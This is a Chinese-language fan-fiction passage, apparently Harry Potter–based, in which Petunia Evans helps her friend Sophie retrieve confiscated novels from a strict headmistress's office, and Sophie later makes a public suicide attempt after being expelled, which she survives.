“她太过分了,她怎么能这么对待你?”佩妮难以置信地叫出来,鞭痕刺痛了她的眼睛,一股愤怒从她的心底里涌起来,使她忍不住加快了呼吸。
“她一直都是这样,对我来说是。”索菲笑起来,但佩妮认为那不叫笑,因为没有人在笑的时候会咬着牙齿表情看起来像在想着自己仇人一样。
佩妮紧张地看了一下四周,街区静悄悄的,没有什么人经过,现在只有她和索菲,这让她稍微放松了一点。
“她一直都不喜欢我,不满意我身上任何的东西,现在连最后属于我的东西都要夺走。”索菲她看着佩妮,脸上带上了祈求,“佩妮,求你,陪我一起去把那些书拿回来,从她的办公室里。”
佩妮屏住了自己的呼吸,这句话使她内心的冲动像海水般褪去,恐惧的冰山便浮出了海面。
那是阿加莎女士的办公室。
索菲看了一眼佩妮的表情,扭头往前走去,佩妮小跑着追了上去,索菲走的很快,佩妮感觉自己的心跳逐渐加快了起来。
“等等,索菲。”佩妮拉住了索菲的手,“可是……”
索菲甩开了佩妮的手,直勾勾地盯着她:“你不愿意吗,佩妮?”但她转瞬笑起来,目光变得十分坚定:“无所谓,我会自己去,一个人就一个人。”
佩妮听见自己叹了一口气,她看着索菲那双棕色的眼睛,牵起了索菲的手,走在了她前头:“走吧,那就去学校,我陪你去把属于你的东西拿回来。”
夜幕下,她们从学校操场北面翻了进去,黑漆漆的建筑在夜幕笼罩下透着森然又肃穆的氛围。
佩妮抬起头看着那栋建筑在月光下向她张开嘴巴,一阵风吹过来,她忍不住打了一个哆嗦:“索菲,我们,我是说,学校以前有传言……”
“嘘!”索菲回头瞪了她一眼,在嘴唇上竖起了食指,牵着她的手走进去,她脸上的泪痕已经干了,表情愈发坚定起来。
楼道里面黑漆漆的,手电筒微弱的光芒扫在楼梯上,佩妮听见自己的心跳就像鼓声一样在耳边清晰可闻。
“这里什么也没有,我们唯一需要注意的就是乔治先生,他会不时巡视这些楼层,但是一般来说,比起他的人,更先到的是他收音机的声音。”索菲拉着佩妮上了楼。
诚如索菲所言,上至第四层楼梯的时候,佩妮听见收音机的声音伴随着乔治先生的歌声从长廊遥远的尽头传过来,她和索菲对视了一眼,两人加快了上楼的速度。
“我们该怎么进去。”阿加莎女士的房间在顶层的最里边,佩妮看着挂在房门口的大锁,一颗心沉了下去。
“跟我过来。”
佩妮跟着索菲转到房间的侧面,房间的侧面是一扇老旧的窗户。她看见索菲取下她发间的金属发卡,将它一端插进了窗户的横向金属栓。
“帮我听听乔治先生在哪儿。”索菲把耳朵凑在金属栓的旁边,对佩妮轻身说,随后转动了她的发卡。
白天这里是学生们的禁区,黑暗中,佩妮站在阿加莎女士的办公室前,一切声音都变得清晰起来,细听之下,收音机和乔治先生的歌声从楼下一个安全距离遥远地传来,更清晰的是佩妮自己的愈发激烈的心跳声,伴随着这心跳,一股古怪的欢愉反而从她心底里逐渐蔓延开来。
“开了。”索菲小声地说,她推开窗户,翻身越了进去,然后从窗户里探出她的脑袋对佩妮说:“快进来。”
阿加莎女士的办公室里有一面很大的窗户,月光从窗户里洒进来,在室内投下一片白霜,在白霜中,佩妮收起了自己的手电筒,四处打量起来。
室内并不大,装修有些陈旧,正中央是一张堆满了文件的办公桌。右手边的墙上挂满了奖状和感谢信,佩妮走过去,借着月光端详起来,一张1968年颁发的社区服务模范学校奖,内容是因组织学生参与清洁街道表现优异获此奖章,下面的剪报里,学生手里拿着扫帚和垃圾铲,表情看起来很茫然。旁边是一张“公平竞赛”奖,表彰圣凯瑟琳学校的足球队在竞赛中为一支“纪律良好的球队”。
更多的是项目资助证明,佩妮看见一份技术教育基金认证,内容是因学校开设木工、缝纫以及机械维修等实践课程获得政府500英镑的拨款,阿加莎女士的签名上有一小行字:“仅用于购买设备,年度报告中标注“女王政府资助””,还有其他一些给与学校资金资助的项目证明,只是资金都不算太多。
“你在发什么呆,佩妮,快来帮我找书。”索菲翻动起阿加莎女士的书桌,佩妮走过去,光线稍有一些暗,她打开了她的手电筒。
在手电筒的白光中,佩妮看见阿加莎女士的书桌上文件虽然多,但分门别类放得整整齐齐,在桌面的右手边两个相框竖在那儿,一个相框里是一对青年姐妹的照片,照片中左边的那位女士十分漂亮,满面笑容,但右边的那位表情看起来十分严肃。另外相框里是一个看起来只有1岁小婴儿的照片,坐在摇篮里,吐着舌头看着镜头。佩妮伸手摸了一下,相框上一点灰尘也没有。
这是谁的照片?
但佩妮还来不及细想,索菲伸出手粗鲁地那两个相框按倒在了桌上。“快帮我找书,佩妮,别耽误时间了。”
佩妮只好低头从另一边翻找起阿加莎女士的抽屉,她小心地翻动抽屉里的东西,尽量维持他们原本的模样。
但在第二个抽屉,佩妮看见了一条教鞭,那是一条不算长的银色教鞭,躺在抽屉的文件上,在月光下泛出冰冷的金属光泽,佩妮下意识惊呼了起来。
声音惊动了索菲,她望过来一眼,看清抽屉里的物什后,冷笑了出来:“啊,我的老朋友。”
“她竟然在学校打你!”佩妮不敢置信。
索菲低下头去翻找:“不然呢,这可是她的私人领域,上帝的意志可以在她的身体里无限显现。老修女那套规矩,她把它传给她,她再传给我。这是她们的传统,号称唯有在疼痛中方能恪守意志,自省然后见上帝。”
“可能因为我不够虔心,不然为什么我忏悔了那么多次,上帝也没有听到呢?”
“既不允许我做这,也不允许我做那,她应该做一个完美符合她标准的模具,把我塞进去,再把多余的血肉砍去,使我变成符合她想象的女人。”
佩妮为索菲的话感到心惊,索菲催促她不要管这些了,快点找书,她只好忍住心底的惧意,挪开教鞭下的文件,继续翻找起来,她的手指不小心触碰到那条银色教鞭,冰冷的触感传进她的心里,就像被一条毒蛇咬了一样迅速收回了自己的手。
但总算在最下面的抽屉,熟悉的封面映在了佩妮的眼前:“找到了!”
“让我看看。”索菲欣喜地拨开佩妮,在这个抽屉里继续翻找起来:“应该不止这一本。”
佩妮被索菲推在了一旁,看着索菲将抽屉里的文件弄得乱七八糟,不觉心惊胆颤起来,视线一转,她在阿加莎女士的书桌上看见了写作课的作业。鬼使神差,她把手电筒的光线移到了那打作业中,找了自己那本,翻到了最新那页。
最下的评语是“辞藻累赘,语意冗余,华而不实。”笔记本上用红笔圈出了很多阿加莎女士不满意的词汇。但阿加莎女士还是给她打了一个一等。
好吧,佩妮心想,又是这样。她把本子放了回去。然后她的视线停在了另外一打未封边的信笺上——是写给家长的关于每个孩子的季度反馈评语。
佩妮的心突突跳起来,她把手伸过去,在信笺里面找到写着她名字的那一份。
打开它,一个声音在她的心底里响起。
不,这
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不是一个淑女该干的事情,另一个声音说。况且阿加莎女士对自己的评语肯定不错,因为妈妈从来没有因为这件事找过她。
但是阿加莎女士会怎么评价自己呢?佩妮太想知道了。她犹豫了半晌,将信笺抽了出来,她只是看对自己的评价,她不看其他人的,而且只看一眼,就看一眼。
“佩妮·伊万斯小姐是一个敏感,守规矩的孩子,她是一位淑女,但是她太在乎别人的看法……”
乔治先生和他收音机的声音出现在了门外边。
“快关掉你的手电筒。”索菲一把扯过佩妮,她把信笺匆匆往桌上一放,关掉了手电筒,就被索菲扯着蹲到了书桌后。
乔治先生沙哑的歌喉在阿加莎女士办公室的门外边徘徊了一阵,“又有老鼠了吗?明天再说吧。”佩妮听见乔治先生说,只一小会儿,声音便飘远了。
两个人重新站起来。
“我们该走了。”等乔治先生的声音越来越远几不可闻的时候,索菲抱着她的书站起来,拉着佩妮要走。
佩妮心中仍有一些犹豫,她回头望了一眼阿加莎女士的书桌。
索菲仿佛想到了什么,她脸上露出一个坏意的笑容,她走过去打开了阿加莎女士桌上的墨水瓶盖,要把里头的墨水倒在了书桌上的文件上。
“等等!”佩妮拦住了她的手,“这不合适,索菲。”
索菲低头看了一眼书桌上的东西,冷笑了出来:“你就要活在她对你的这些评价还有她为你制定的框架中吗?你自由吗,佩妮?”
佩妮愣住了,就在她这怔愣的瞬间,索菲手腕一抖,将墨水全倒在了桌面上,看着墨水逐渐浸湿那些文件,索菲脸上露出畅快的笑意,随手把空瓶扔在了地下。
“乔治先生说了,是老鼠干的,谁让这瓶墨水瓶没有拧紧呢。”索菲十分痛快地说:“没有人知道是我们。快走,已经很晚了。”索菲拉住她。
索菲灵活地沿着原路从窗户翻了出去,佩妮临走之前回头,她看了一眼阿加莎女士的书桌,墨水慢慢爬出了桌子的边际,跳到了地上,在月光镀成银白色的地面蓄积成了一滩小小的黑色水洼。
佩妮翻过窗户,她觉得缝隙有一些窄,伸手想推大一些,老旧的金属接驳处发出了一声吱呀的响声,在空寂的走廊上荡出回音,夜晚的寂静衬得这声不合时宜的响声格外清晰。
楼下收音机的声音暂停,乔治先生的步伐从走廊那一边由远至近传来。
“快跑。”索菲一把拉住了佩妮的手,拽着她一鼓作气跑出了学校。
佩妮的心跳快从嗓子眼里跳出来了,她看见抱着书本神采飞扬的索菲,有些恼怒地说:“你得低调些,不能再被阿加莎女士抓住了,不然我下次再也不陪你来了。”
索菲左手捧着她的书,右手一把拽过佩妮,在她的脸颊上狠狠亲了一下:“谢谢佩妮王子陪索菲公主勇闯恶龙禁地,夺回了属于公主的宝物。”
“我才不想做什么王子呢。”佩妮十分嫌弃地推开了索菲,在自己的脸颊上擦了一把,莉莉也是,索菲也是,总喜欢突如其来又搂又抱。
看见佩妮的动作,索菲咯咯笑了起来。
阿加莎女士书桌上的照片划过佩妮的心底,她对索菲说:“别再惹阿加莎女士了。”
索菲挑了挑她的眉:“我知道,下次我会更加注意的。”
第二天佩妮胆颤心惊地去上学,路过校门口阿加莎女士的时候,她的心脏快从嗓子里跳出来了。
阿加莎女士在看着我,佩妮心想,她是不是发现了,我会不会要被开除了,如果要被开除了,我怎么跟爸爸妈妈说?
她还有一条教鞭,她会用那条教鞭打我吗?
今天有一些热,这些想法盘旋在她的脑海中,让她流汗。
但是出乎佩妮的意料,阿加莎女士什么也没有说。
写作课上,她向大家宣布:“很遗憾,昨天晚上有老鼠闯进了我的办公室,弄坏了你们的作业本,我宣布你们这次的作业都是一等。”
教室里传来一阵欢呼,佩妮的心放回了肚子里,她不自觉吞咽了一下唾沫,感觉天气又没有那么炎热了。
写作的时候,阿加莎女士走到佩妮的身边,佩妮不自觉绷紧了自己的身体,她有一条教鞭,佩妮心想,她的教鞭此时是不是就藏在她那件宽大的黑色衣袍的袖子里,遇到不听话的学生就掏出来?但是佩妮又从来没有在学校见过阿加莎女士真的掏出她的教鞭过,可是她真的有一条教鞭。
胡思乱想之际,她听见阿加莎女士说:“你的文笔流畅,结构清晰,但是请少用一些华而不实,没有明确指向的词语,不用在我的写作课上卖弄你的词汇量,这个问题我说过很多次了,还请你注意,伊万斯小姐。”
佩妮先是松了一口气,却感到另外一种说不出的羞耻混着劫后余生的轻松,像潮湿的空气黏在了她的口鼻里。
43.chapter42
佩妮从抽屉里抽出那张从巴黎横跨了英吉利海峡送到她手里的明信片。
纸片呈淡黄色,摸上去手感有一些粗糙,就像羊皮纸信封。
明信片的正面是一幅铅笔手绘的圆顶钟形教堂,画面的下方是一句法文,但伊索尔德贴心地在这句话的下方进行了标注:“献给耶稣的圣心——圣心教堂。”
翻过背面去,是很多句法语的诗文,伊索尔德皆悉心在下面用自己娟秀的笔记进行了注释。
“她想象自己坠入的是一场,波澜壮阔的命运。”
“她越不知道爱是什么,越是爱得深。她不知道这是好事还是坏事,是有益的还是有害的,是必要的还是送命的,是长远的还是暂时的,是允许的还是禁止的,她只是在爱。”
“我被抛到人世,只得遵从此间的规则,忍受此间的坎坷,受制于他人的意志,顺从时局和历史的潮流,我确实有理由把自己的生活视为一场偶然,但我同时又没有理由这样想,这让我头晕目眩。”
佩妮把这张明信片放到自己的鼻尖,白丁香的香气充盈着她的鼻腔,隐约还可以嗅到柠檬草的气息。
她想象这张明信片的旅程,从那钟形顶的教堂飞出来,乘坐在海船上,在一望无际的大海上航行,在佩妮的脑海里,隐隐浮现出英吉利海峡汹涌的波涛还有海风的咸腥味。
佩妮推着单车走在路上,一个难得的晴天,太阳照在她的背上,使她像浸在一汪温暖的热水里。
单车的铃声混合着女孩清脆的笑声在前方的路口响起,佩妮抬起头,一头栗红色的头发从她眼前一闪而过。
——是索菲。
佩妮有一段时间没有见到索菲,但她只要一想到那个晚上,心脏就忍不住怦怦跳动起来,纷乱的想法像潮水一般向她涌来,阿加莎女士似乎真的认为那天晚上是老鼠钻了进去,可书确实是不见了,阿加莎女士要是发现书不见了,她会不会再为难索菲。
那条银色教鞭,一想到这,明明太阳很温暖,但佩妮还是忍不住瑟缩了一下。
她想上前跟索菲打声招呼,但载着索菲的那辆单车很快就消失在街角。
佩妮有一些失落,但没关系,等下一个阅读之夜,去见索菲就好了。
“你就不能再陪我一下吗?”
但刚走过几个小巷,佩妮就听见了索菲的声音从前方不远处一条僻静的小路传过来,她的声音里透露着佩妮从来没有听过的期待与娇羞。
小路入口的树下停着一辆崭新的单车。
时间尚早,太阳还高高挂在天空,街道上并没有多少人,只有阳光在没有什么遮挡的街道上肆无忌惮地投射下来。
佩妮听见了男人的笑声。
好奇心使她推着单车轻轻靠近了巷口。她把单车靠放至石墙边,手搭在墙缘,屏住呼吸,小心地探出了一点身体。
一条尽头被封住的小路。
索菲穿着点缀着白色波点的红色连衣裙,披着一件棕色长袖外套,栗红色的头发散下来——她肯定化了点妆,最起码涂了口红,在白墙的映衬下,像一朵明艳动人的玫瑰花。
站在她对面的是一个高大的成年男士,他把西装外套脱了下来,搭在左手上,身上穿着的赫然是那天晚上索菲身上的男士格子衬衫,袖子挽了上去,露出遒健的小麦色小臂,左手上佩戴着一块手表,在太阳下反射出亮眼的光芒。
索菲和男人之间保持着一个手臂的距离。
“再陪陪我。”她看着男人的神情就像她在灰与榆时,看浪漫小说时那样。她在笑,笑容和声音里透露着渴求。
索菲对他说话时,他抬手看了一下时间,顺势打量了一下周围,佩妮看见了他的侧脸。也许是阳光太刺眼了,他的眉头紧紧皱在了一起,看起来有几分不耐烦。他的视线扫过街口的时候,佩妮把自己的身体缩了回去。
“好吧,还有一点时间,你想让我怎么陪你?”男人的声音很低沉,像大提琴一样。佩妮又悄悄探出了自己的身体。
男人比索菲高了整整一个头,他低头看着索菲,阴影完全笼罩了索菲。
索菲发出了一阵银铃般的笑声,佩妮从来没有在她的脸上看见过那么畅快的微笑。
“我想让你吻我。”索菲大胆得不可思议的话惊得佩妮瞪大了双眼。
佩妮听见男人笑了一声,那声轻笑里包含的意味让佩妮感到不安,她感觉小巷里两个人之间的气氛变得微妙起来。
“这是你要求的,索菲。”男人欺身上前,靠近了索菲。
索菲一把扯住了男人的领带。
仿佛被火焰烫到了一般,佩妮迅速收回自己的视线。
高大的男人,漂亮的索菲,晴空下的吻,这个场景就像浪漫小说里的场景一样。
但也许是太阳太猛烈了,石墙在太阳下发出的白光刺得佩妮的眼睛胀痛起来。索菲被抵在石墙上,圈在男人的臂弯里,一阵微风将她红色的裙摆稍微吹了起来,使她看起来既像是一抹被随意甩在墙上的红色颜料,又像是一朵被禁锢的脆弱玫瑰花。
但索菲看起来很开心,她脸上是一副得偿所愿的表情。
“好了,我得走了,索菲。”男人的声音传过来,小巷里传来一阵响动。
佩妮在自己激烈的心跳中慌忙跳上了单车,混乱中差点一头撞到了路边的树上。
“他对艾莉小姐说,我爱你。”索菲膝盖上摊着书本,这本书的剧情让她
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十分满意。
“但我觉得他对艾莉小姐有一些苛刻。”佩妮小声对索非说,“他前面对艾莉小姐说的那些话,做的那些事,他看起来不是一个很好的男主角。”
“怎么会,佩妮,他本质上是一个很温柔的人,只是有一些不为人知的痛苦过往,掩盖了他的内心。最重要的是,他带给了艾莉小姐自由,爱情让他们看见了彼此的灵魂。”夜风从窗外吹进来,拨动她栗红色的长发,她把飘到眼前的碎发拨至耳后,然后视线移至窗外,眼神里是说不出的渴望
佩妮看着在她一系列动作中,从袖口隐约浮现的鞭痕,其中可瞧见一些鲜红色的新鲜痕迹。
那条银色的教鞭。
——疼痛中只有疼痛而已,索菲在疼痛中能看见什么?
佩妮感觉自己的胸口一阵气闷。
“索菲,爱到底是什么?”佩妮看了看窗外,夜色中,天空缓慢聚集了一块块团块似的云朵,她暗中祈祷千万不要下雨,因为她今天出门没有带伞。
索菲转过头来,把袖口拉紧,遮住了那些鞭痕,她对佩妮露出一抹神秘的微笑:“会有这么一个人出现,他的眼睛里只有你,他无微不至地关怀你,呵护你,他认出你灵魂的唯一,知道你真正的渴望,他会拯救你,把你从黑夜里拉出来。”
“爱情是这个世界上最美妙,最高尚的东西。”
佩妮思索着索菲的话,然后掰正了索菲的头,让自己的眼睛直视她的眼睛:“可是索菲,你看着我的眼睛,现在我的眼睛里也只有你啊。”
索菲一下子露出了一副嫌弃的表情,她扒开佩妮:“你还太小了,我跟你说不清楚。你别来我这里添乱,等到你遇到那个人,你就能体会到爱情的美妙了。”
佩妮不满:“我不小了,我只比你小一年级而已。”
索菲笑起来:“实际我比你大两岁,只是因为我入学比较晚,今年年底我就成年了。”她看着窗外的夜景:“我就可以离开科克沃斯了。”
佩妮有一些犹豫:“我说,我是想说,科克沃斯其实也没有那么坏不是吗?”
索菲盯着佩妮的眼睛,一字一句地说:“不,它坏透了。”
她的眼睛透过佩妮,看向虚空,里面蕴藏着乌云,就像科克沃斯下雨前的天空,蓄满了雷鸣风暴,使佩妮看着心惊了起来。
索菲看见了佩妮的表情,柔和了自己的脸色,她看着佩妮说:“你自由吗?”
我是自由的,佩妮在心中想。
我确实是自由的,佩妮看着索菲,薇拉和普尔佳的身影在她脑海里一闪而过。
但是处于一些莫名其妙的原因,这句话卡在了佩妮的嗓子里,使她张了张嘴却什么都没有说出来。
44.chapter43
佩妮给伊索尔德回信,感谢她寄送过来的明信片,她非常喜欢。
在回信里,她将那本《高端浪漫》推荐给了伊索尔德,她建议伊索尔德有空的时候也可以阅读一下。诺拉最近推荐的小说质量又上来了,她在小说中度过了很多美妙的夜晚。
顺便,佩妮询问她爱情到底是什么。
这些浪漫小说里的爱情使她感到动容,无论过程多么千回百转,结局总是好的,但是索菲所谈论的爱情却让她感到不安。
伊索尔德的回信里写到,这个问题很复杂,鉴于她贫乏的经历,她无法给出佩妮确切的回答,甚至这个问题在学术界都争论不休。
“佩妮,世界上有千千万万种爱,爱情只是爱的一种形式。爱情也需要勇气,需要你勇敢地给出去。如果你真的遇上了那个令你心动的人,享受爱情无可厚非,但是无论如何,你需要保护好你自己。”
佩妮当然没有遇上那个令她心动的人,她火速给伊索尔德写了回信澄清了这个事实。
在另外一个阅读之夜结束之后,索菲和佩妮在路口分别。
但佩妮忍不住拉住索菲。
无论是莉莉、伊索尔德还是索菲,她们都比佩妮勇敢得多,但佩妮也在学习如何做一个勇敢得人,她一点也不想输给她们。
佩妮看着索菲,紧紧握住了索菲的手,她张了张嘴,话到嘴边却变成了:“你会保护好自己吗?”
索菲好笑地看着佩妮,露出一副当然的表情:“当然了,我还以为你要对我说什么呢,佩妮。你那副表情吓坏我了。我当然会保护好我自己的啊,你在想什么呢。”
“有好戏看了。”在学校的走廊上,学生们快速从佩妮身边跑过,差点撞到她。
“阿加莎女士发了好大的火。”又一群人如潮水般从佩妮身边涌过,她站在人群中,茫然地看着前方攒动的人影。
“是索菲啦,六年级的那个索菲·特拉瑟姆。要我说,她胆子可真大,敢把那些东西带到学校里。”
“啊,那个疯女人,她一直都跟阿加莎女士不太对付不是吗?”
“要我说,不管她们谁输谁赢,都是一场好戏,比学校无聊的生活刺激多了。”
在佩妮反应过来前,她的双腿已经自动带着她跟着涌动的人潮来到了目的地,看着攒动的人影,佩妮心底涌起了不安的感觉。
正是下课的时候,三楼的走廊上围满了学生,还有学生站在对面楼栋的走廊里,翘首看着这边。
索菲穿着她的红裙子和白色的皮鞋,她满脸泪痕,而阿加莎女士站在她的对面,气氛看起来就像暴风雨的前夜。
地上是索菲的书包,里面的东西散落了一地。
在散落的物品之间,佩妮看见了灰与榆的书,火与花,冬日烈火,风中的灰烬……
佩妮倒抽了一口冷气。
“你瞧瞧,她都在看些什么书?”
“天呐,为什么要把这些书明目张胆带到学校里来,太荒唐了。”
佩妮听见女生在小声地议论。
“一张今天晚上前往伦敦的车票,他给你灌进了什么迷魂药呢。”阿加莎女士说,她摊开她的手掌,掌心里躺着一张车票,在索菲不肯低头的视线里,将它撕得粉碎。她的音调平静,但是身体却在微微发抖,就连她胸前那亘古不变的银色十字吊坠也在颤动。“你真让我感到失望,索菲。”
“阿加莎姨妈。”索菲吐出这句称呼,像在人群中投下了一枚炸弹,引起哗然一片。
“我的天呐,阿加莎竟然是索菲的姨妈。”
“她那句话什么意思,索菲要跟别人私奔吗?”
佩妮看见阿加莎女士的眼角因为索菲的称呼抽搐了一下,像妈妈偏头痛发作时一样,她脸上似乎裂开了一道缝隙,新鲜的血肉被暴露在了空气中,但只是一瞬间,阿加莎女士就恢复了原来的神情,她甚至还分了一个眼神,给喧哗不止的人群,制止了他们的窃窃私语。
“我什么时候不让您感到失望,”索菲的眼睛紧紧盯着阿加莎女士,在满脸的泪痕中绽开一个笑意,“在他的眼中我看见自己,但是我却从未在您的眼中看见我自己,不对,现在您可算看见我了。”
“我给你读书的机会,传授你做人的道理。但是你又在做些什么回报我呢?”阿加莎女士说。
“我不能看书,不能写书吗?”索菲说。
这话使佩妮惊讶不已,旋然一股失落的感情又在佩妮心中涌现,她从不知道索菲竟然也在写书,索菲从未没告诉过她这件事。
“你看的是什么书?写的又是什么书?”阿加莎女士看着她,嘴角透露出讥讽的笑容。
“您从来也不认可我。”佩妮看见更多的眼泪从索菲的眼睛里滑落,但她嘴角却扬起更强烈地,使她看起来真的像个疯女人。
“但没关系,有人认可它。”索菲把自己的手从背后拿了出来,她没有穿外套,白净的手臂上鞭痕一览无余,新鲜的,陈旧的,看起来触目惊心。
她手上拿着一本本子,在阿加莎女士的视线中,大声朗读了起来。
“她渴望他的爱许久了。终于,在黑夜里他出现了,她对他说,我爱你。”
四周一下安静起来。
“她吻了上去。”索菲一手抓着手边的扶栏,另一只手举着自己的本子,她的表情看起来十分陶醉,但她朗读的声音里带着重重的鼻音,不断有泪水从她眼角滑落。
阿加莎女士看起来就像被人狠狠打了一拳。
四周的人群中发出了小小的惊呼,一部分学生的视线在阿加莎女士的脸上和索菲身上来回打转,脸上带着看好戏一样的神情。
索菲就站在这么多人打量的视线里,
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脸上透露着无所畏惧的表情。
“他的眼睛里倒映着她的模样。感受着唇上柔软的感觉,她一颗早已死去的,寂静的心重新跳动了起来,就像常年累月待在西伯利亚的寒风里,终于燃起了一丛火苗,但足已使她早已冻僵的四肢温暖了起来。”
“此刻漆黑的夜空一瞬间点满繁星,自由的风从四面八方向她涌过来,心底里的渴望使她想要更多,她伸出手,解开了衣服上的扣子。”
这句话使人群更骚动了,一些女生看着她捂住了自己的嘴巴。索菲听见了,她的脸上现出一抹报复得逞的畅快笑容。
好似一把利剑穿透了佩妮的胸膛,她想,一定有另外一把剑同时穿透了索菲和阿加莎女士的胸膛。
一股强烈的悲伤从佩妮的心里涌了出来,使她的眼睛里泛起了细微的水雾。佩妮眨眨眼撇去泛起的雾气,不敢再去细看她的表情,视线转开,她看见包括霍金斯太太在内的几个年老的女教师从一楼匆匆赶上来。
“够了!索菲。”阿加莎女士晃动了一下自己的身形。
索菲盯着她,在满脸的泪水中,她努力扯起自己的嘴角询问阿加莎女士:“姨妈,我写得难道不好吗?”
“你不满意现代中学,你不满意这样的人生,但我能提供的也就只有这些。如果这些都不是你想要的,我尊重你的意愿。”阿加莎女士顿了一下,闭上了她的眼睛,再张开眼睛,像终于做了什么决定似的,一字一句地说,“索菲·特拉瑟姆,你被现代中学开除了,你想去哪,就去哪。我很后悔,把你抚养得这么大。”
哦不,请不要这么对待她,佩妮在心中大叫。阿加莎女士桌面上的相框浮现在了佩妮的眼前。
“索菲,从栏杆上下来,听我们说,你是一个聪明的有才华的女孩,我知道的,你只是需要一点爱,我们都很爱你,跟阿加莎女士道个歉。”霍金斯太太艰难地拨开人群,走到最里面,试图靠近索菲。
但索菲只是盯着阿加莎女士的身上,“对于我,你后悔得又何止这一点呢?”
阿加莎女士一动不动:“你真让我失望透顶。”
这个回答让索菲释然地笑了起来:“那以后我做什么都与你无关。”
索菲举起她的本子:“她想做一只鸟,飞过西伯利亚的上空。”
“她既渴望自由,她也渴望爱。”
“快把她拉住。”霍金斯太太叫了起来,有好些学生和老师冲了上去,佩妮也想冲过去,但是前面的人太多了,把她拦住了。
索菲动作比她们更快,她闭上眼,张开她的手臂,脸上带着虔诚的微笑,就像一只小鸟一样,在众目睽睽之下从栏杆上翻了下去。
尖叫卡在了佩妮的喉咙里,但是有人替她叫了出来,惊动了远处草坪的树上,几只斑鸠终于忍耐不住从枝桠上振翅起飞,随后一切都归于平静。
45.chapter44
“请打开你们的书包,小姐们。”女生们在校门口排起了长队,阿加莎女士不在,以霍金斯太太为首的几位女老师站在校门口,挨个检查女孩们的书包。
正门的旁边另外开了一个侧门,那是给男生们留的入学通道,他们自由地从侧门进入,看见排成长队鱼贯进入学校的女生,有几个大着胆子脱下了帽子,对她们吹起了口哨。
“先生们,请你们放尊重点。”负责教授数学的米尔斯太太插着腰对侧门的男生喊叫起来。
“你的发带,伊万斯小姐。”霍金斯太太看着佩妮,在她的视线中,佩妮只好不情不愿地把自己的那条墨绿色的发带摘下来,她的头发因此散落到了肩膀上:“那我没东西扎头发了,霍金斯太太。”
但霍金斯太太像变魔术一样从她的围裙里掏出一个黑色的发圈:“这个送给你,进去吧,祝你今天在学校度过美好的一天。”
佩妮接过发带对霍金斯太太笑了起来,她把书包拉上,一边把散落的金发扎起,一边朝教学楼走去。
太阳如往常一般投射到教学楼前方的草坪上,有几只斑鸠在草丛间跳跃捕食。
一切跟往常都一样。
“都怪那个特拉瑟姆,现在管理得更严格了。”佩妮听见身边有女生小声地抱怨。
“嘘,但是你说谁的枕头下不会有一两本那种小说呢?火与花真的很好看,凯瑟琳是个天才。为什么我们不能看那些书?现在是1974年,不是1874年。”
“我不管,我要把发带扎上,我买了好多条呢,炉灰巷入口那家杂货店的小姐可会挑选这些了,每一条都很搭配我,她的眼光可真好。”
“你知道她是谁吗?她以前也是我们学校的学生,但她爸爸开的纺织厂倒闭了,他们家据说欠了大家一大笔钱呢,现在开了一家杂货铺,谁知道欠的这些钱几辈子能还上。”
“噢,上帝啊。”
佩妮从她们几个人间穿过,走进教室,找到自己的位置坐下来,过了一会儿,普尔佳也来了。
她坐下来,在佩妮的身后向她抱怨:“她们连被我不小心塞进来的妹妹的口水巾都翻出来了,我解释了很久,那不是我的装饰品,上面还有我妹妹的口水,我请求她们闻一下。”
佩妮想象当时的场面,忍不住笑起来。
“对了佩妮,我看了你写的小说,”普尔佳说,“普尔佳大战蝙蝠王子,写得真精彩啊,佩妮,谢谢你送给我的礼物,要是我真的有魔法就好了。”
“但是,”普尔佳的话语里带上了一点忧虑,“现在你可千万别告诉别人你在写这些东西。”
“我一直很敬佩阿加莎女士。”晚餐的时候,妈妈往餐桌上端上来汤,今天是酥皮奶油蘑菇汤,“噢,瞧瞧这个酥皮烤得有多完美。”
“我读书的时候,阿加莎女士就在圣凯瑟琳学校任教了,虽然有时候我确实觉得她既古板又严厉,后来她从老修女那里接手了这间学校,不得不说她把学校管理得井井有条,现在这可是科克沃斯最好的一所现代中学。”
“佩妮,我知道你们都觉得她十分严厉,一位管理者,她看待事物的角度总是不一样的,她需要考虑的更多。”妈妈对佩妮说。
佩妮什么话也没说,只是沉默地帮妈妈摆放餐具。
“但一个好的管理者,并不意味她同时是一个好的教育者。”爸爸从报纸后抬头,“阿加莎女士什么时候生了一个孩子,我以为她已经把自己的一切都献身给了上帝和教育。”
“那是她妹妹的孩子,听说她妹妹早就去世了,将这个孩子托付给她抚养。”妈妈说,“听说那个孩子本来就极其有主见,可不太令人省心。不过幸好只是摔断了腿,人还活着呢,就在科克沃斯镇上的那家医院住着。”
听见这话,佩妮觉得一直发紧的胸口终于稍微松开了一点。
“但幸好我有两个令我省心的女儿,其中一个还是一名神奇的女巫。”妈妈到佩妮和莉莉,语气变得骄傲起来,“要知道莉莉小时候的能力可把我们吓坏了。”
爸爸坐到了餐桌前,看着那金黄酥脆的面包皮,忍不住夸赞:“玛格丽特,你的手艺真是精妙绝伦。”
“不是我一个人做的,是佩妮跟我一起烤的,我们的佩妮真是一个心灵手巧的乖孩子。”妈妈在佩妮的头顶上落下一个吻,但是佩妮没有办法直视妈妈的眼睛,她只能低下头,看着自己碗里的汤出神。
爸爸用勺子敲开了那层酥皮:“幸福的家庭总是相似的,不幸的家庭各有各的不幸——列夫·托尔斯泰,看看,上学的那些东西我还没忘记呢。幸亏我们是一个幸福的家庭。”
爸爸成功把妈妈逗笑了,她罕见地在餐前做了一个祷告:“为了能让我们继续活在幸福里,我现在应该向谁祈祷?上帝还是梅林?”
爸爸笑起来:“你想向谁祈祷都没问题。”
在痛苦中的声音上帝都没能听到,在幸福中的声音上帝能听到吗?还是上帝根本听不见任何的声音。
“佩妮,你要一起吗?”妈妈询问佩妮,佩妮摇了摇头,低头敲开了自己的酥皮,舀了一口里头冒着热气的汤放进了嘴里,然后被烫得咳嗽了起
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来——好吧,上帝听见了她的心声,上帝对她降下了启示。
“佩妮,慢些喝呀。”妈妈有些好笑地给佩妮递上餐巾,然后她的表情变得严肃起来:“听说是看了不应该看的书,在这点上我觉得阿加莎女士是对的,那个孩子不应该读那么多书,她太冒进了,知道这么多在她这个年纪可不是什么好事,你们这个年龄的孩子根本不知道什么才是对你们真正有益的事情。”
爸爸的目光从汤上转到了佩妮的身上:“你有在看那些书吗?”
佩妮的心沉到了肚子里,她紧张地喝了一口汤,尽量控制自己的声音平静:“我没有,爸爸。”
“现在下课你都去哪里,做些什么?”爸爸的目光严厉地盯着佩妮。
“复习功课,帮霍金斯太太给教会缝制教袍,然后帮妈妈整理家务。”佩妮说,这汤实在太烫了,喝了两口,头上就冒出了汗。
